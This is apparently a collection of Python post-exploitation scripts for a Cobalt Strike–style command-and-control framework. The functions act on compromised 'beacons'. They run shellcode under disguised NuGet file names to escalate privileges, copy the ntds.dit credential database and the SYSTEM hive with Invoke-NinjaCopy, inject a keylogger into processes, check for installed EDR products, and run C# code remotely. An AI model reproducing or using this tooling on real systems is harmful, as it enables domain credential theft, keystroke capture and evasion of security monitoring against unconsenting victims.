def elevate_runas_shellcode(bid, user, password, shellcode): """ Elevate with token duplication bypass. Execute `shellcode` with a helper. """ native_helper = utils.basedir('tools/native.exe') native_helper_remote = r'{}\NugetPackage.{}.exe'.format( helpers.guess_temp(bid), helpers.randstr()) shellcode_remote = r'{}\nuget2.package'.format(helpers.guess_temp(bid)) # delete first aggressor.brm(bid, native_helper_remote, silent=True) aggressor.brm(bid, shellcode_remote, silent=True) aggressor.blog2( bid, 'uploading to {} and {}'.format(native_helper_remote, shellcode_remote)) # upload helpers.upload_to(bid, native_helper, native_helper_remote, silent=True) helpers.upload_to(bid, shellcode, shellcode_remote, silent=True) if '\\' in user: domain, user = user.split('\\') else: raise RuntimeError('must specify user domain') # invoke aggressor.brunas(bid, domain, user, password, native_helper_remote) # clean up aggressor.brm(bid, native_helper_remote, silent=True) aggressor.brm(bid, shellcode_remote, silent=True)
def _(bid, *args): parser = helpers.ArgumentParser(prog='logs', bid=bid, description='Get logs for a beacon') parser.add_argument('out', help='Output file') try: args = parser.parse_args(args) except: return finds = get_logs(args.out, bid=bid) aggressor.blog2(bid, 'Wrote {} log entries to: {}'.format(finds, args.out))
def _(bid, code, *args): aggressor.btask(bid, 'Tasked beacon to execute C# code: {}'.format(code)) try: from_cache = sharpgen.execute(bid, code, args, cache=cache) if from_cache: aggressor.blog2(bid, 'Build was retrieved from the cache') except RuntimeError as e: aggressor.berror( bid, 'SharpGen failed. See Script Console for more details.')
def callback(procs): if procs: for proc in procs: out = 'Found {}: {}'.format(proc_name, proc['pid']) if 'arch' in proc: out += ' ({})'.format(proc['arch']) if 'user' in proc: out += ' ({})'.format(proc['user']) aggressor.blog2(bid, out) else: aggressor.berror(bid, 'No processes named {}'.format(proc_name))
def ls_callback(bid, folder, content): edrs = edr_list() files = helpers.parse_ls(content) finds = set() for f in files: name = f['name'].lower() if name in edrs: finds.add(edrs[name]) if finds: for find in finds: aggressor.blog2(bid, 'Found EDR product: {}'.format(find)) else: aggressor.blog2(bid, 'No EDR products found')
def _(bid): loaded = aggressor.data_query('cmdlets') if bid in loaded: out = 'Loaded modules:\n' for module in loaded[bid]: if module.lower() in [ 'local', 'that', 'struct', 'field', 'before', 'psenum', 'func', '' ]: # not sure what these are continue out += ' - {}\n'.format(module) aggressor.blog2(bid, out) else: aggressor.berror(bid, 'No loaded modules')
def ps_callback(bid, content): procs = helpers.parse_ps(content) def get_children(pid): ret = [] for proc in procs: if proc['ppid'] == pid and proc['pid'] != pid: ret.append(proc) return ret def get_trunks(procs): all_pids = [proc['pid'] for proc in procs] ret = [] for proc in procs: if proc['ppid'] not in all_pids or proc['ppid'] == proc['pid']: ret.append(proc) return ret def make_tree(proc, indent=0): # output proc info output = '' output += ' ' * indent + '{} (pid {})'.format( proc['name'], proc['pid']) if 'arch' in proc: output += ' (arch {})'.format(proc['arch']) if 'user' in proc: output += ' (user {})'.format(proc['user']) # add app description exe = proc['name'].lower() output += '\n' # recurse children children = get_children(proc['pid']) #aggressor.blog2(bid, 'recursing {} children of {}'.format(len(children), str(proc))) #aggressor.blog2(bid, str(children)) for child in children: output += make_tree(child, indent + 4) return output # start with process 0 tree = '' for trunk in get_trunks(procs): tree += make_tree(trunk) aggressor.blog2(bid, 'Process tree:\n' + tree)
def _(bid, proc_name): def callback(procs): if procs: for proc in procs: out = 'Found {}: {}'.format(proc_name, proc['pid']) if 'arch' in proc: out += ' ({})'.format(proc['arch']) if 'user' in proc: out += ' ({})'.format(proc['user']) aggressor.blog2(bid, out) else: aggressor.berror(bid, 'No processes named {}'.format(proc_name)) aggressor.blog2( bid, 'Tasked beacon to search for processes named {}'.format(proc_name)) helpers.find_process(bid, proc_name, callback)
def _(bid): ntds_source = r'C:\Windows\ntds\ntds.dit' system_source = r'C:\Windows\system32\config\SYSTEM' ntds_dest = r'C:\Windows\temp\ntds.dit' system_dest = r'C:\Windows\temp\SYSTEM' aggressor.bpowershell_import( bid, utils.basedir( 'powershell/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1')) command = helpers.code_string(r""" Invoke-NinjaCopy -Path "{}" -LocalDestination "{}" Invoke-NinjaCopy -Path "{}" -LocalDestination "{}" """.format(ntds_source, ntds_dest, system_source, system_dest)) aggressor.bpowerpick(bid, command) aggressor.blog2( bid, 'Files will be at "{}" and "{}"'.format(ntds_dest, system_dest))
def jobkillall_callback(bid, text, when): global jobkillall_items jobs = helpers.parse_jobs(text) if bid not in jobkillall_items: # doesn't concern us return for job in jobs: for item in jobkillall_items[bid]: if not item or item.lower() in job['description'].lower(): # kill it aggressor.blog2( bid, 'Killing job: {} (JID {}) (PID {})'.format( job['description'], job['jid'], job['pid'])) aggressor.bjobkill(bid, job['jid']) break del jobkillall_items[bid]
def _(bid, proc_name=None): def parsed_callback(procs): for proc in procs: if 'arch' in proc and 'user' in proc: # inject it aggressor.blog( bid, 'Keylogging process {} ({} {})'.format( proc['name'], proc['pid'], proc['arch'])) aggressor.bkeylogger(bid, proc['pid'], proc['arch'], silent=True) return # nothing found if proc_name: aggressor.berror( "Didn't find any processes named '{}' to inject keylogger". format(proc_name)) else: aggressor.berror("Didn't find any processes to inject keylogger") def ps_callback(bid, content): procs = helpers.parse_ps(content) parsed_callback(procs) if proc_name: aggressor.blog2( bid, 'Tasked beacon to keylog first accessible process named {}'.format( proc_name)) helpers.find_process(bid, proc_name, parsed_callback) else: aggressor.btask(bid, 'Tasked beacon to keylog first accessible process') aggressor.bps(bid, ps_callback)
def _(bid, *command): command = ' '.join(command) _, output, _ = helpers.capture(command) aggressor.blog2(bid, 'Local shell output:\n' + output.decode())
def _(bid, *args): msg = ' '.join(args) aggressor.blog2(bid, msg)
def _(bid): out = "Beacon info:\n\n" for key, value in aggressor.beacon_info(bid).items(): out += ' - {}: {}\n'.format(key, value) aggressor.blog2(bid, out)
def _(bid): aggressor.blog2(bid, '-' * 40 + '\n' * 60)